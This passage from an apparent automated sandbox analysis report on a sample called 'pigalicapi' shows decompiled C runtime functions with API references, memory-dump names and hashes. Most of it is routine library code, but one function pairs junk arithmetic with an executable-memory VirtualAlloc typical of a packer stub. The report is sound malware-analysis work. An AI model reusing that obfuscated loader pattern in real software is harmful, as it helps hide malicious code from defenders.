				signed int _t13;
				void* _t15;
				signed int _t18;
				long _t19;

				_t15 = __ecx;
				_t18 = _a4;
				if(_t18 == 0) {
					L2:
					_t19 = _t18 * _a8;
					if(_t19 == 0) {
						_t19 = _t19 + 1;
					}
					while(1) {
						_t8 = RtlAllocateHeap( *0xf8e1b0, 8, _t19); // executed
						if(_t8 != 0) {
							break;
						}
						__eflags = E00EFC742();
						if(__eflags == 0) {
							L8:
							 *((intOrPtr*)(E00EF9826())) = 0xc;
							__eflags = 0;
							return 0;
						}
						_t12 = E00EFC6AC(_t15, _t19, __eflags, _t19);
						_pop(_t15);
						__eflags = _t12;
						if(_t12 == 0) {
							goto L8;
						}
					}
					return _t8;
				}
				_t13 = 0xffffffe0;
				if(_t13 / _t18 < _a8) {
					goto L8;
				}
				goto L2;
			}

0x00efa67d
0x00efa683
0x00efa688
0x00efa696
0x00efa696
0x00efa69c
0x00efa69e
0x00efa69e
0x00efa6b5
0x00efa6be
0x00efa6c6
0x00000000
0x00000000
0x00efa6a6
0x00efa6a8
0x00efa6ca
0x00efa6cf
0x00efa6d5
0x00000000
0x00efa6d5
0x00efa6ab
0x00efa6b0
0x00efa6b1
0x00efa6b3
0x00000000
0x00000000
0x00efa6b3
0x00000000
0x00efa6b5
0x00efa68e
0x00efa694
0x00000000
0x00000000
0x00000000

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00EF9C5E,00000001,00000364,?,00EF4B88,?), ref: 00EFA6BE

Memory Dump Source

Source File: 00000003.00000002.858247527.0000000000EF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000003.00000002.858203754.0000000000EF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.858744722.0000000000F09000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.860024941.0000000000F4C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.861275270.0000000000F8D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.861368682.0000000000F8F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ef0000_pigalicapi.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: b68038ee319814bb2ceb368b7e7d144659582e3dc69ff21155294e0614b4bea6
Instruction ID: cfc0bb5ed872efc36fad6b8a4bd87059c5d3b05c24ef801c9c570ddb5ecd7b57
Opcode Fuzzy Hash: b68038ee319814bb2ceb368b7e7d144659582e3dc69ff21155294e0614b4bea6
Instruction Fuzzy Hash: 68F0BB7150412C67DB211F326C05AB63749AF517A5B1E7031AA1DFE191DA60D80046E6

Uniqueness

Uniqueness Score: -1.00%

Function 00EFBD19 Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 94%

			E00EFBD19(void* __ecx, long _a4) {
				void* __esi;
				void* _t4;
				void* _t6;
				void* _t7;
				long _t8;

				_t7 = __ecx;
				_t8 = _a4;
				if(_t8 > 0xffffffe0) {
					L7:
					 *((intOrPtr*)(E00EF9826())) = 0xc;
					__eflags = 0;
					return 0;
				}
				if(_t8 == 0) {
					_t8 = _t8 + 1;
				}
				while(1) {
					_t4 = RtlAllocateHeap( *0xf8e1b0, 0, _t8); // executed
					if(_t4 != 0) {
						break;
					}
					__eflags = E00EFC742();
					if(__eflags == 0) {
						goto L7;
					}
					_t6 = E00EFC6AC(_t7, _t8, __eflags, _t8);
					_pop(_t7);
					__eflags = _t6;
					if(_t6 == 0) {
						goto L7;
					}
				}
				return _t4;
			}

0x00efbd19
0x00efbd1f
0x00efbd25
0x00efbd57
0x00efbd5c
0x00efbd62
0x00000000
0x00efbd62
0x00efbd29
0x00efbd2b
0x00efbd2b
0x00efbd42
0x00efbd4b
0x00efbd53
0x00000000
0x00000000
0x00efbd33
0x00efbd35
0x00000000
0x00000000
0x00efbd38
0x00efbd3d
0x00efbd3e
0x00efbd40
0x00000000
0x00000000
0x00efbd40
0x00000000

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,?,00EFA5A1,00000000), ref: 00EFBD4B

Memory Dump Source

Source File: 00000003.00000002.858247527.0000000000EF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000003.00000002.858203754.0000000000EF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.858744722.0000000000F09000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.860024941.0000000000F4C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.861275270.0000000000F8D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.861368682.0000000000F8F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ef0000_pigalicapi.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 0525a12718013748186283edec439ce860949035dcde778bcb51df1bcad7be24
Instruction ID: bd47a2003f0ca56d74ff444717145abd6b8fde08310a9ad399d02fa1befbddef
Opcode Fuzzy Hash: 0525a12718013748186283edec439ce860949035dcde778bcb51df1bcad7be24
Instruction Fuzzy Hash: AFE0653150426D97D6213675DC05BBB768CAB417A4F257121AF55BA1E1DB63CC0085E3

Uniqueness

Uniqueness Score: -1.00%

Function 00EF47E0 Relevance: 1.4, APIs: 1, Instructions: 111
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00EF47E0(signed int _a4, intOrPtr _a8, signed int _a16, intOrPtr _a20, intOrPtr _a24) {
				signed int _v8;
				intOrPtr _v12;
				signed int _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				signed int _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				long _v44;
				long _v48;
				intOrPtr _t74;
				void* _t82;
				intOrPtr _t84;
				intOrPtr _t87;
				intOrPtr _t94;
				intOrPtr _t107;
				intOrPtr _t123;
				intOrPtr _t127;

				_v28 = _a16 - 0x2598;
				_v36 = _a24 + 0x14d;
				_v24 = _a20 - 0xce;
				_v8 = _a4 ^ 0x000002bf;
				_v40 = _a24 + 0x221;
				_v16 = _a16 ^ 0x00000221;
				_v32 = _a20 + 0x1ce;
				if(_v8 == _v40 - 0x219) {
					_v12 = _v28;
					while(_v12 < (_v16 & 0x0000253b) - 0x2633) {
						_t94 =  *0xf8d5ec; // 0xf8d5f0
						_v20 =  *((intOrPtr*)(_t94 + 0xbadc65));
						while(1) {
							_t74 =  *0xf8d5ec; // 0xf8d5f0
							if(_v20 <= (_v16 | 0x00002801) +  *((intOrPtr*)(_t74 + 0xbadc81))) {
								break;
							}
							_v24 = ( *(_a8 + 0xec) & 0x00002796) -  *((intOrPtr*)(_a8 + 0xbadbed)) + _v24;
							_v20 = _v20 + 3;
						}
						_v12 = _v12 + 4;
					}
				} else {
					if( *((intOrPtr*)(_a8 + 0xb0)) <= 0xd708) {
						_v48 = 0x3000;
						_t123 =  *0xf8d5ec; // 0xf8d5f0
						_t26 = _t123 + 0x8c; // 0x0
						_v44 =  *_t26 + 0x40;
						_t82 = VirtualAlloc(0,  *(_a8 + 0x24), _v48, _v44); // executed
						 *0xf8d684 = _t82 + 0x2000;
					} else {
						_t87 =  *0xf8d5ec; // 0xf8d5f0
						_t23 = _t87 + 0xdc; // 0x8
						_t107 =  *0xf8d5ec; // 0xf8d5f0
						 *(_t107 + 0xdc) = ( *(_a8 + 0x9c) ^  *(_a8 + 0x8c)) + 0x0001cd0c |  *_t23;
					}
					_t84 =  *0xf8d5ec; // 0xf8d5f0
					_t34 = _t84 + 0x78; // 0x79aca
					_t127 =  *0xf8d5ec; // 0xf8d5f0
					 *((intOrPtr*)(_t127 + 0x5c)) =  *_t34 +  *(_a8 + 0x8c) - 0x4b764;
				}
				return _v32 ^ 0x0000003b;
			}

0x00ef47ee
0x00ef47fa
0x00ef4806
0x00ef4811
0x00ef481d
0x00ef4829
0x00ef4834
0x00ef4843
0x00ef48f2
0x00ef4900
0x00ef491c
0x00ef4929
0x00ef4937
0x00ef4948
0x00ef4957
0x00000000
0x00000000
0x00ef497a
0x00ef4934
0x00ef4934
0x00ef48fd
0x00ef48fd
0x00ef4849
0x00ef4856
0x00ef4889
0x00ef4890
0x00ef4896
0x00ef489f
0x00ef48b3
0x00ef48be
0x00ef4858
0x00ef4870
0x00ef4875
0x00ef487b
0x00ef4881
0x00ef4881
0x00ef48c9
0x00ef48ce
0x00ef48e1
0x00ef48e7
0x00ef48e7
0x00ef498d

APIs

VirtualAlloc.KERNEL32(00000000,?,00003000,?), ref: 00EF48B3

Memory Dump Source

Source File: 00000003.00000002.858247527.0000000000EF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000003.00000002.858203754.0000000000EF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.858744722.0000000000F09000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.860024941.0000000000F4C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.861275270.0000000000F8D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.861368682.0000000000F8F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ef0000_pigalicapi.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 00e8014985bbac56d01b1c8d518926400e996b64b6ab734eec5918e21658a124
Instruction ID: 6e402a14a12977517b234b4ffb2ce376907df42b92893f0c42101e057be4c0a2
Opcode Fuzzy Hash: 00e8014985bbac56d01b1c8d518926400e996b64b6ab734eec5918e21658a124
Instruction Fuzzy Hash: 3851C770A00109DFEB04DF98D594BAEB7B2FF88304F14C26AE915AB385D735AA51CF94

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00EFAC2C Relevance: 19.6, APIs: 13, Instructions: 114
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E00EFAC2C(intOrPtr _a4) {
				intOrPtr _v8;
				intOrPtr _t25;
				intOrPtr* _t26;
				intOrPtr _t28;
				intOrPtr* _t29;
				intOrPtr* _t31;
				intOrPtr* _t45;
				intOrPtr* _t46;
				intOrPtr* _t47;
				intOrPtr* _t55;
				intOrPtr* _t70;
				intOrPtr _t74;

				_t74 = _a4;
				_t25 =  *((intOrPtr*)(_t74 + 0x88));
				if(_t25 != 0 && _t25 != 0xf8dd10) {
					_t45 =  *((intOrPtr*)(_t74 + 0x7c));
					if(_t45 != 0 &&  *_t45 == 0) {
						_t46 =  *((intOrPtr*)(_t74 + 0x84));
						if(_t46 != 0 &&  *_t46 == 0) {
							E00EFA6DA(_t46);
							E00EFBA92( *((intOrPtr*)(_t74 + 0x88)));
						}
						_t47 =  *((intOrPtr*)(_t74 + 0x80));
						if(_t47 != 0 &&  *_t47 == 0) {
							E00EFA6DA(_t47);
							E00EFBB90( *((intOrPtr*)(_t74 + 0x88)));
						}
						E00EFA6DA( *((intOrPtr*)(_t74 + 0x7c)));
						E00EFA6DA( *((intOrPtr*)(_t74 + 0x88)));
					}
				}
				_t26 =  *((intOrPtr*)(_t74 + 0x8c));
				if(_t26 != 0 &&  *_t26 == 0) {
					E00EFA6DA( *((intOrPtr*)(_t74 + 0x90)) - 0xfe);
					E00EFA6DA( *((intOrPtr*)(_t74 + 0x94)) - 0x80);
					E00EFA6DA( *((intOrPtr*)(_t74 + 0x98)) - 0x80);
					E00EFA6DA( *((intOrPtr*)(_t74 + 0x8c)));
				}
				E00EFAD9F( *((intOrPtr*)(_t74 + 0x9c)));
				_t28 = 6;
				_t55 = _t74 + 0xa0;
				_v8 = _t28;
				_t70 = _t74 + 0x28;
				do {
					if( *((intOrPtr*)(_t70 - 8)) != 0xf8d7d0) {
						_t31 =  *_t70;
						if(_t31 != 0 &&  *_t31 == 0) {
							E00EFA6DA(_t31);
							E00EFA6DA( *_t55);
						}
						_t28 = _v8;
					}
					if( *((intOrPtr*)(_t70 - 0xc)) != 0) {
						_t29 =  *((intOrPtr*)(_t70 - 4));
						if(_t29 != 0 &&  *_t29 == 0) {
							E00EFA6DA(_t29);
						}
						_t28 = _v8;
					}
					_t55 = _t55 + 4;
					_t70 = _t70 + 0x10;
					_t28 = _t28 - 1;
					_v8 = _t28;
				} while (_t28 != 0);
				return E00EFA6DA(_t74);
			}

0x00efac34
0x00efac38
0x00efac40
0x00efac49
0x00efac4e
0x00efac55
0x00efac5d
0x00efac65
0x00efac70
0x00efac76
0x00efac77
0x00efac7f
0x00efac87
0x00efac92
0x00efac98
0x00efac9c
0x00efaca7
0x00efacad
0x00efac4e
0x00efacae
0x00efacb6
0x00efacc9
0x00efacdc
0x00efacea
0x00efacf5
0x00efacfa
0x00efad03
0x00efad0b
0x00efad0c
0x00efad12
0x00efad15
0x00efad18
0x00efad1f
0x00efad21
0x00efad25
0x00efad2d
0x00efad34
0x00efad3a
0x00efad3b
0x00efad3b
0x00efad42
0x00efad44
0x00efad49
0x00efad51
0x00efad56
0x00efad57
0x00efad57
0x00efad5a
0x00efad5d
0x00efad60
0x00efad63
0x00efad63
0x00efad75

APIs

___free_lconv_mon.LIBCMT ref: 00EFAC70

Part of subcall function 00EFBA92: _free.LIBCMT ref: 00EFBAAF
Part of subcall function 00EFBA92: _free.LIBCMT ref: 00EFBAC1
Part of subcall function 00EFBA92: _free.LIBCMT ref: 00EFBAD3
Part of subcall function 00EFBA92: _free.LIBCMT ref: 00EFBAE5
Part of subcall function 00EFBA92: _free.LIBCMT ref: 00EFBAF7
Part of subcall function 00EFBA92: _free.LIBCMT ref: 00EFBB09
Part of subcall function 00EFBA92: _free.LIBCMT ref: 00EFBB1B
Part of subcall function 00EFBA92: _free.LIBCMT ref: 00EFBB2D
Part of subcall function 00EFBA92: _free.LIBCMT ref: 00EFBB3F
Part of subcall function 00EFBA92: _free.LIBCMT ref: 00EFBB51
Part of subcall function 00EFBA92: _free.LIBCMT ref: 00EFBB63
Part of subcall function 00EFBA92: _free.LIBCMT ref: 00EFBB75
Part of subcall function 00EFBA92: _free.LIBCMT ref: 00EFBB87

_free.LIBCMT ref: 00EFAC65

Part of subcall function 00EFA6DA: HeapFree.KERNEL32(00000000,00000000,?,00EFBC27,?,00000000,?,00000000,?,00EFBC4E,?,00000007,?,?,00EFADC4,?), ref: 00EFA6F0
Part of subcall function 00EFA6DA: GetLastError.KERNEL32(?,?,00EFBC27,?,00000000,?,00000000,?,00EFBC4E,?,00000007,?,?,00EFADC4,?,?), ref: 00EFA702

_free.LIBCMT ref: 00EFAC87
_free.LIBCMT ref: 00EFAC9C
_free.LIBCMT ref: 00EFACA7
_free.LIBCMT ref: 00EFACC9
_free.LIBCMT ref: 00EFACDC
_free.LIBCMT ref: 00EFACEA
_free.LIBCMT ref: 00EFACF5
_free.LIBCMT ref: 00EFAD2D
_free.LIBCMT ref: 00EFAD34
_free.LIBCMT ref: 00EFAD51
_free.LIBCMT ref: 00EFAD69

Memory Dump Source

Source File: 00000003.00000002.858247527.0000000000EF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000003.00000002.858203754.0000000000EF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.858744722.0000000000F09000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.860024941.0000000000F4C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.861275270.0000000000F8D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.861368682.0000000000F8F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ef0000_pigalicapi.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 0b9705c90eab391db6f98c7606cacc9ada20660a4eddfd006d332c0f44dc219c
Instruction ID: be18745bc7b64edc57116f4465f6b46b6a867c8ce809e9d592c865458bd6de56
Opcode Fuzzy Hash: 0b9705c90eab391db6f98c7606cacc9ada20660a4eddfd006d332c0f44dc219c
Instruction Fuzzy Hash: 01315EB16043089FEB21AE38D905B76B3E8BF10355F1D6839E64DEE591DB31EC409726

Uniqueness

Uniqueness Score: -1.00%

Function 00EF9B3C Relevance: 15.1, APIs: 10, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00EF9B3C(char _a4) {
				char _v8;

				_t26 = _a4;
				_t52 =  *_a4;
				if( *_a4 != 0xf47298) {
					E00EFA6DA(_t52);
					_t26 = _a4;
				}
				E00EFA6DA( *((intOrPtr*)(_t26 + 0x3c)));
				E00EFA6DA( *((intOrPtr*)(_a4 + 0x30)));
				E00EFA6DA( *((intOrPtr*)(_a4 + 0x34)));
				E00EFA6DA( *((intOrPtr*)(_a4 + 0x38)));
				E00EFA6DA( *((intOrPtr*)(_a4 + 0x28)));
				E00EFA6DA( *((intOrPtr*)(_a4 + 0x2c)));
				E00EFA6DA( *((intOrPtr*)(_a4 + 0x40)));
				E00EFA6DA( *((intOrPtr*)(_a4 + 0x44)));
				E00EFA6DA( *((intOrPtr*)(_a4 + 0x360)));
				_v8 =  &_a4;
				E00EF9A02(5,  &_v8);
				_v8 =  &_a4;
				return E00EF9A52(4,  &_v8);
			}

0x00ef9b42
0x00ef9b45
0x00ef9b4d
0x00ef9b50
0x00ef9b55
0x00ef9b58
0x00ef9b5c
0x00ef9b67
0x00ef9b72
0x00ef9b7d
0x00ef9b88
0x00ef9b93
0x00ef9b9e
0x00ef9ba9
0x00ef9bb7
0x00ef9bbf
0x00ef9bc8
0x00ef9bd0
0x00ef9be4

APIs

_free.LIBCMT ref: 00EF9B50

Part of subcall function 00EFA6DA: HeapFree.KERNEL32(00000000,00000000,?,00EFBC27,?,00000000,?,00000000,?,00EFBC4E,?,00000007,?,?,00EFADC4,?), ref: 00EFA6F0
Part of subcall function 00EFA6DA: GetLastError.KERNEL32(?,?,00EFBC27,?,00000000,?,00000000,?,00EFBC4E,?,00000007,?,?,00EFADC4,?,?), ref: 00EFA702

_free.LIBCMT ref: 00EF9B5C
_free.LIBCMT ref: 00EF9B67
_free.LIBCMT ref: 00EF9B72
_free.LIBCMT ref: 00EF9B7D
_free.LIBCMT ref: 00EF9B88
_free.LIBCMT ref: 00EF9B93
_free.LIBCMT ref: 00EF9B9E
_free.LIBCMT ref: 00EF9BA9
_free.LIBCMT ref: 00EF9BB7

Memory Dump Source

Source File: 00000003.00000002.858247527.0000000000EF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000003.00000002.858203754.0000000000EF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.858744722.0000000000F09000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.860024941.0000000000F4C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.861275270.0000000000F8D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.861368682.0000000000F8F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ef0000_pigalicapi.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 7336e2cbba1c7326e0395879770f0c2ff7a61ed5e9a059f949953ec9c8da0020
Instruction ID: 7bed1932503734864f26de81af77c38d6ac97f0f3bdf51cfc72deb1c713e9607
Opcode Fuzzy Hash: 7336e2cbba1c7326e0395879770f0c2ff7a61ed5e9a059f949953ec9c8da0020
Instruction Fuzzy Hash: EC1186B651410CBFCB01EF54C852DE93BA5EF14390B5A91A5FB0C9F222DA31EE51AB81

Uniqueness

Uniqueness Score: -1.00%

Function 00F03221 Relevance: 10.7, APIs: 7, Instructions: 152
fileCOMMON

Download Yara Rule

C-Code - Quality: 62%

			E00F03221(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, signed int _a8, signed char* _a12, intOrPtr _a16) {
				signed int _v8;
				signed char _v15;
				char _v16;
				void _v24;
				short _v28;
				char _v31;
				void _v32;
				long _v36;
				intOrPtr _v40;
				void* _v44;
				signed int _v48;
				signed char* _v52;
				long _v56;
				int _v60;
				signed int _t78;
				signed int _t80;
				int _t86;
				void* _t94;
				long _t97;
				void _t105;
				void* _t112;
				signed int _t116;
				signed int _t118;
				signed char _t123;
				signed char _t128;
				intOrPtr _t129;
				signed int _t131;
				signed char* _t133;
				intOrPtr* _t135;
				signed int _t136;
				void* _t137;

				_t78 =  *0xf8dd74; // 0x3af7f1ec
				_v8 = _t78 ^ _t136;
				_t80 = _a8;
				_t118 = _t80 >> 6;
				_t116 = (_t80 & 0x0000003f) * 0x30;
				_t133 = _a12;
				_v52 = _t133;
				_v48 = _t118;
				_v44 =  *((intOrPtr*)( *((intOrPtr*)(0xf8e830 + _t118 * 4)) + _t116 + 0x18));
				_v40 = _a16 + _t133;
				_t86 = GetConsoleCP();
				_t135 = _a4;
				_v60 = _t86;
				 *_t135 = 0;
				 *((intOrPtr*)(_t135 + 4)) = 0;
				 *((intOrPtr*)(_t135 + 8)) = 0;
				while(_t133 < _v40) {
					_v28 = 0;
					_v31 =  *_t133;
					_t129 =  *((intOrPtr*)(0xf8e830 + _v48 * 4));
					_t123 =  *(_t129 + _t116 + 0x2d);
					if((_t123 & 0x00000004) == 0) {
						if(( *(E00EF9839(_t116, _t129) + ( *_t133 & 0x000000ff) * 2) & 0x00008000) == 0) {
							_push(1);
							_push(_t133);
							goto L8;
						} else {
							if(_t133 >= _v40) {
								_t131 = _v48;
								 *((char*)( *((intOrPtr*)(0xf8e830 + _t131 * 4)) + _t116 + 0x2e)) =  *_t133;
								 *( *((intOrPtr*)(0xf8e830 + _t131 * 4)) + _t116 + 0x2d) =  *( *((intOrPtr*)(0xf8e830 + _t131 * 4)) + _t116 + 0x2d) | 0x00000004;
								 *((intOrPtr*)(_t135 + 4)) =  *((intOrPtr*)(_t135 + 4)) + 1;
							} else {
								_t112 = E00F027F0( &_v28, _t133, 2);
								_t137 = _t137 + 0xc;
								if(_t112 != 0xffffffff) {
									_t133 =  &(_t133[1]);
									goto L9;
								}
							}
						}
					} else {
						_t128 = _t123 & 0x000000fb;
						_v16 =  *((intOrPtr*)(_t129 + _t116 + 0x2e));
						_push(2);
						_v15 = _t128;
						 *(_t129 + _t116 + 0x2d) = _t128;
						_push( &_v16);
						L8:
						_push( &_v28);
						_t94 = E00F027F0();
						_t137 = _t137 + 0xc;
						if(_t94 != 0xffffffff) {
							L9:
							_t133 =  &(_t133[1]);
							_t97 = WideCharToMultiByte(_v60, 0,  &_v28, 1,  &_v24, 5, 0, 0);
							_v56 = _t97;
							if(_t97 != 0) {
								if(WriteFile(_v44,  &_v24, _t97,  &_v36, 0) == 0) {
									L19:
									 *_t135 = GetLastError();
								} else {
									 *((intOrPtr*)(_t135 + 4)) =  *((intOrPtr*)(_t135 + 8)) - _v52 + _t133;
									if(_v36 >= _v56) {
										if(_v31 != 0xa) {
											goto L16;
										} else {
											_t105 = 0xd;
											_v32 = _t105;
											if(WriteFile(_v44,  &_v32, 1,  &_v36, 0) == 0) {
												goto L19;
											} else {
												if(_v36 >= 1) {
													 *((intOrPtr*)(_t135 + 8)) =  *((intOrPtr*)(_t135 + 8)) + 1;
													 *((intOrPtr*)(_t135 + 4)) =  *((intOrPtr*)(_t135 + 4)) + 1;
													goto L16;
												}
											}
										}
									}
								}
							}
						}
					}
					goto L20;
					L16:
				}
				L20:
				return E00EFDC5F(_v8 ^ _t136);
			}

0x00f03229
0x00f03230
0x00f03233
0x00f0323b
0x00f0323f
0x00f0324b
0x00f0324e
0x00f03251
0x00f03258
0x00f03260
0x00f03263
0x00f03269
0x00f0326f
0x00f03274
0x00f03276
0x00f03279
0x00f0327e
0x00f03288
0x00f0328f
0x00f03292
0x00f03299
0x00f032a0
0x00f032cc
0x00f032f2
0x00f032f4
0x00000000
0x00f032ce
0x00f032d1
0x00f03398
0x00f033a4
0x00f033af
0x00f033b4
0x00f032d7
0x00f032de
0x00f032e3
0x00f032e9
0x00f032ef
0x00000000
0x00f032ef
0x00f032e9
0x00f032d1
0x00f032a2
0x00f032a6
0x00f032a9
0x00f032af
0x00f032b1
0x00f032b4
0x00f032b8
0x00f032f5
0x00f032f8
0x00f032f9
0x00f032fe
0x00f03304
0x00f0330a
0x00f03319
0x00f0331f
0x00f03325
0x00f0332a
0x00f03346
0x00f033b9
0x00f033bf
0x00f03348
0x00f03350
0x00f03359
0x00f0335f
0x00000000
0x00f03361
0x00f03363
0x00f03366
0x00f0337f
0x00000000
0x00f03381
0x00f03385
0x00f03387
0x00f0338a
0x00000000
0x00f0338a
0x00f03385
0x00f0337f
0x00f0335f
0x00f03359
0x00f03346
0x00f0332a
0x00f03304
0x00000000
0x00f0338d
0x00f0338d
0x00f033c1
0x00f033d3

APIs

GetConsoleCP.KERNEL32(?,00000000,?,?,?,?,?,?,?,00F03996,?,00000000,?,00000000,00000000), ref: 00F03263
__fassign.LIBCMT ref: 00F032DE
__fassign.LIBCMT ref: 00F032F9
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,?,00000005,00000000,00000000), ref: 00F0331F
WriteFile.KERNEL32(?,?,00000000,00F03996,00000000,?,?,?,?,?,?,?,?,?,00F03996,?), ref: 00F0333E
WriteFile.KERNEL32(?,?,00000001,00F03996,00000000,?,?,?,?,?,?,?,?,?,00F03996,?), ref: 00F03377

Memory Dump Source

Source File: 00000003.00000002.858247527.0000000000EF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000003.00000002.858203754.0000000000EF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.858744722.0000000000F09000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.860024941.0000000000F4C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.861275270.0000000000F8D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.861368682.0000000000F8F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ef0000_pigalicapi.jbxd

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: 2a85e8207faaed8ba2d743a2b2ba3c2f3ab308c2d219875d8a5f76af204c4f71
Instruction ID: 53a496f9673ed200bb1c210010f8b54dada9958f45f5905fb700430e4bfb48b7
Opcode Fuzzy Hash: 2a85e8207faaed8ba2d743a2b2ba3c2f3ab308c2d219875d8a5f76af204c4f71
Instruction Fuzzy Hash: F3518F71E002499FCB10CFA8D885BEEBBF8FF09310F14455AE955E7292E7709A41EB61

Uniqueness

Uniqueness Score: -1.00%

Function 00EFBC35 Relevance: 10.6, APIs: 7, Instructions: 65
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E00EFBC35(intOrPtr _a4) {
				void* _t18;

				_t45 = _a4;
				if(_a4 != 0) {
					E00EFBBF9(_t45, 7);
					E00EFBBF9(_t45 + 0x1c, 7);
					E00EFBBF9(_t45 + 0x38, 0xc);
					E00EFBBF9(_t45 + 0x68, 0xc);
					E00EFBBF9(_t45 + 0x98, 2);
					E00EFA6DA( *((intOrPtr*)(_t45 + 0xa0)));
					E00EFA6DA( *((intOrPtr*)(_t45 + 0xa4)));
					E00EFA6DA( *((intOrPtr*)(_t45 + 0xa8)));
					E00EFBBF9(_t45 + 0xb4, 7);
					E00EFBBF9(_t45 + 0xd0, 7);
					E00EFBBF9(_t45 + 0xec, 0xc);
					E00EFBBF9(_t45 + 0x11c, 0xc);
					E00EFBBF9(_t45 + 0x14c, 2);
					E00EFA6DA( *((intOrPtr*)(_t45 + 0x154)));
					E00EFA6DA( *((intOrPtr*)(_t45 + 0x158)));
					E00EFA6DA( *((intOrPtr*)(_t45 + 0x15c)));
					return E00EFA6DA( *((intOrPtr*)(_t45 + 0x160)));
				}
				return _t18;
			}

0x00efbc3b
0x00efbc40
0x00efbc49
0x00efbc54
0x00efbc5f
0x00efbc6a
0x00efbc78
0x00efbc83
0x00efbc8e
0x00efbc99
0x00efbca7
0x00efbcb5
0x00efbcc6
0x00efbcd4
0x00efbce2
0x00efbced
0x00efbcf8
0x00efbd03
0x00000000
0x00efbd13
0x00efbd18

APIs

Part of subcall function 00EFBBF9: _free.LIBCMT ref: 00EFBC22

_free.LIBCMT ref: 00EFBC83

Part of subcall function 00EFA6DA: HeapFree.KERNEL32(00000000,00000000,?,00EFBC27,?,00000000,?,00000000,?,00EFBC4E,?,00000007,?,?,00EFADC4,?), ref: 00EFA6F0
Part of subcall function 00EFA6DA: GetLastError.KERNEL32(?,?,00EFBC27,?,00000000,?,00000000,?,00EFBC4E,?,00000007,?,?,00EFADC4,?,?), ref: 00EFA702

_free.LIBCMT ref: 00EFBC8E
_free.LIBCMT ref: 00EFBC99
_free.LIBCMT ref: 00EFBCED
_free.LIBCMT ref: 00EFBCF8
_free.LIBCMT ref: 00EFBD03
_free.LIBCMT ref: 00EFBD0E

Memory Dump Source

Source File: 00000003.00000002.858247527.0000000000EF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00EF0000, based on PE: true

